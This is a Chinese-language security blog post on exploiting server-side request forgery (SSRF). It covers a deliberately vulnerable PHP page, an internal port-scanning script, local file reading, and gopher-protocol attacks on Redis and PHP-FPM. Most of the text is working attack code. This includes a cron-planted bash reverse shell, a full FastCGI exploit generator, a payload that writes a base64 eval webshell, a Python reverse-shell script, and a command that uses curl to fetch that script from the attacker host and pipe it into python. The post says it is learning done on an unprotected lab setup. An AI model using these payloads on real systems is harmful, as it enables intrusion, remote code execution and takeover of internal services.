SSRF的一些利用姿势

0x00 前言

SSRF(Server-Side RequestForgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
关于ssrf的利用,一般有下面几种

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  • 利用 file 协议读取本地文件等
  • 攻击运行在内网或本地的应用程序
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)

本文漏洞环境使用如下代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

0x01 协议探测

在对ssrf漏洞深入利用之前首先要做协议探测,在只有知道其支持哪些协议的情况下,才可以利用这些协议进行进一步的利用。
协议探测的方法比较简单,可以在vps上监听一个端口,然后用相关协议尝试连接即可。
常见协议及可利用方向如下

  • dict (操作Redis)
  • file (任意文件读取)
  • ftp、ftps (FTP爆破)
  • tftp(UDP协议扩展)
  • gopher (操作Redis、Memcached、fastcgi、mysql等)
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • rtsp
  • smb/smbs (连接SMB)
  • telnet – 连接SSH/Telnet
  • http、https – 内网服务探测
    • 网络服务探测
    • ShellShock命令执行
    • JBOSS远程Invoker war命令执行
    • Java调试接口命令执行
    • axis2-admin部署Server命令执行
    • Jenkins Scripts接口命令执行
    • Confluence SSRF
    • Struts2一堆命令执行
    • counchdb WEB API远程命令执行
    • mongodb SSRF
    • docker API远程命令执行
    • php_fpm/fastcgi 命令执行
    • tomcat命令执行
    • Elasticsearch引擎Groovy脚本命令执行
    • WebDav PUT上传任意文件
    • WebSphere Admin可部署war间接命令执行
    • Apache Hadoop远程命令执行
    • zentoPMS远程命令执行
    • HFS远程命令执行
    • glassfish任意文件读取和war文件部署间接命令执行

其中file dict gopher http/https较为常用,下面进行相应的实例演示

0x02 内网端口探测

端口探测又利于快速定位内网开启了哪些服务,以便用于后续进一步的利用
利用dict ftp gopher telnet等协议在端口开放和关闭连接时间的长短及返回banner的不同可判断端口是否开放以及可能存在的服务。当然端口的探测存在一些其他的因素导致结果误报,如网络状况服务器性能等都有可能影响连接的时间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import time
import threading
import Queue
lock = threading.Lock()
threads_count = 10
scheme = 'gopher'
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
ip_block = '192.168.111'

class WyWorker(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
if self.queue.empty():
break
try:
url = self.queue.get()
time.sleep(0.3)
r = requests.get(url,timeout=5)

except:
lock.acquire()
ip_port = url.split(':')
ip = ip_port[-2][2:]
port = ip_port[-1]
print "[+]{ip} : {port} Open".format(ip=ip,port=port)
lock.release()
# payload queue
queue = Queue.Queue()
for c in xrange(0,255):
ip = '{0}.{1}'.format(ip_block,c)
for port in ports:

payload = '{scheme}://{ip}:{port}'.format(
scheme=scheme,
ip=ip,
port=port
)
#print payload
url = "http://192.168.111.149/ssrf.php?url={payload}".format(payload=payload)
queue.put(url)


threads = []
for i in xrange(threads_count):
threads.append(WyWorker(queue))
for t in threads:
t.start()
for t in threads:
t.join()

while queue.qsize()>0:
time.sleep(1)

0x03 file协议任意文件读取

当存在ssrf并file协议可用时,可以实现任意文件读取
file:///etc/passwd

0x04 gopher协议攻击内网redis

当存在一个ssrf漏洞并且支持gopher协议时,可以攻击内网中存在未授权访问漏洞的redis以扩大战果。
要想利用gopher协议攻击redis,首先需要将请求转换为gopher协议所能理解的方式。
这里我们利用bash脚本对redis发出的访问请求,利用socat进行端口转发获取请求内容
下面是反弹shell的bash脚本

1
2
3
4
5
6
#!shell
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.111.145/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

socat端口转发命令,该命令将请求的4444端口转发到6379端口,即我们请求4444端口相当于请求redis服务器的6379端口

1
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

首先运行socat端口转发命令,等待端口转发。然后运行bash脚本bash redis_exp.sh 127.0.0.1 4444请求本地4444端口。
socat端会打印出redis交互过程

将内容复制到redis.txt,然后利用下面的python脚本将请求转化为gopher协议理解的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding: utf-8
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
elif line[-3:-1] == r'\r':
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
line = line.replace('\n', '')
exp = exp + line
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

运行脚本进行转换python redis_gopher.py redis.txt

转换的格式为

1
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.111.145/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

此时可本地通过curl验证,返回五个ok,即我们前面的五条命令执行成功。

此时回到一个存到ssrf的web页面
将上面的padload进行url编码

然后添加到漏洞页面,进行访问即可

1
http://192.168.111.149/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_*3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2462%250d%250a%250a%250a*%2F1%20*%20*%20*%20*%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.145%2F2333%200%3E%261%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a%250a

如果漏洞页面有回显,也可看到返回五个ok

此时在服务器监听端口即可收到反弹的shell

0x05 gopher协议攻击内网PHP-FPM

PHP-FRM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好后通过TCP传
送给FRM进行解析。当FRM可以未授权访问时,可以通过构造fastcgi协议包发送给FRM.以实现任意代码执行。漏洞具体成因可以查看p神的文章https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

当PHP-FRM以tcp模式运行时,会监听本地一个端口(默认为9000)用于接收来自Nginx等服务器中间件发送的请求

我们构造该请求,并且可以转换为gopher协议支持的方式,当外网web页面存在ssrf漏洞并且支持gopher协议时,即可利用gopher协议利用内网PHP-FRM执行任意代码。
首先附上前人编写的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)

使用方式python exp.py -c phpcode -p port host filename
这里需要注意的是,PHP-FRM在接收到请求时,会首先查看要操作的文件是否存在,因此这里需要提供filename并且为已知路径的php文件。
如果不知道的话,可以使用服务器安装php时默认安装的php文件

然后即可利用上面的exp生成payload

1
python fastcgi_gopher.py -c "<?php echo ' xxxx >>';echo @eval(system('whoami'));exit; ?>"  -p 9000 127.0.0.1 /usr/share/php/PEAR/Downloader/Package.php

通过ssrf漏洞页面提交payload时需要将其再进行一次Url编码

同样可以利用代码执行写入一句话webshell

1
python fastcgi_gopher.py -c "<?php file_put_contents('/home/www/html/boogle.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbYm9vZ2xlXSk7Pz4=')); ?>"  -p 9000 127.0.0.1 /usr/share/php/PEAR/Downloader/Package.php


如果目录没有权限写入的话还可以反弹shell
这里使用bash反弹有点问题,改用python。
开一个web服务,bash.py中写入

1
2
3
4
5
6
7
import socket,subprocess,os  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.111.145",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

然后在192.168.111.145监听2333端口
padload如下

1
python fastcgi_gopher.py -c "<?php eval(system('curl http://192.168.111.145/bash.py|python'));die('-------boo--------'); ?>" -p 9000 127.0.0.1 /usr/share/php/PEAR/Downloader/Package.php

0x06 后记

本文依照前人经验进行了一波学习,仅在未加任何防护的代码上了进行了ssrf常用手法的测试。
ssrf可以说是一扇通往内网的大门,虽然可能会因为种种限制或者没有回显而难以利用,但其一旦被撕开,内网将会深入其害,ssrf姿势千姿百态,日后碰到其他骚姿势将继续记录。

本文标题:SSRF的一些利用姿势

文章作者:boogle

发布时间:2019年05月06日 - 21:33

最后更新:2019年05月06日 - 21:34

原始链接:https://zhengbao.wang/SSRF的一些利用姿势/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗